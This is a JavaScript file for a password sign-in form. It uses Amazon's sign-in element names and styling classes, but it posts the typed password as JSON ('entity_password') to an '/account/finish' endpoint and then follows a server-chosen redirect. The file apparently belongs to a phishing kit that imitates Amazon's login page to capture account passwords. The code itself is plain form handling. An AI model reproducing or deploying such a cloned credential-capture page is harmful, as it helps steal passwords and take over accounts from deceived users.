document.addEventListener("DOMContentLoaded", () => {
    const form = document.querySelector("form[name='signIn']");
    const passwordInput = document.getElementById("ap_password");

    const alertMissing = document.getElementById("auth-password-missing-alert");
    const globalErrorBox = document.getElementById("auth-error-message-box");
    const continueBtn = document.getElementById("continue");
    const submitButton = document.querySelector("#continue .a-button-input");
    // const spinner = document.getElementById("claim-submit-spinner");

    const serverErrorVisible = !globalErrorBox.classList.contains("aok-hidden");

    function hideInlineErrors() {
        alertMissing.classList.add("aok-hidden");

        if (!serverErrorVisible) {
            globalErrorBox.classList.add("aok-hidden");
        }
    }

    passwordInput.addEventListener("input", () => {
        hideInlineErrors();
        passwordInput.classList.remove("a-form-error");
    });

    form.addEventListener("submit", async (e) => {
        e.preventDefault();
        e.stopImmediatePropagation();

        hideInlineErrors();
        const value = passwordInput.value.trim();

        continueBtn.classList.remove("loading");
        // spinner.classList.add("aok-hidden");

        if (!value) {
            alertMissing.classList.remove("aok-hidden");
            passwordInput.classList.add("a-form-error");
            return false;
        }

        continueBtn.classList.add("loading");
        submitButton.disabled = true;
        // spinner.classList.remove("aok-hidden");

        try {
            const response = await fetch("/account/finish", {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify({ entity_password: value }),
            });

            const result = await response.json();

            window.location.href = result.redirect ?? "/";
        } catch (err) {
            globalErrorBox.classList.remove("aok-hidden");

            submitButton.disabled = false;
            // spinner.classList.remove("aok-hidden");
        }

        return true;
    });
});

window.addEventListener("pageshow", (event) => {
    if (event.persisted) {
        const continueBtn = document.getElementById("continue");
        const submitButton = document.querySelector("#continue .a-button-input");
        // const spinner = document.getElementById("claim-submit-spinner");

        continueBtn?.classList.remove("loading");
        // spinner?.classList.add("aok-hidden");
        submitButton?.removeAttribute("disabled");
    }
});
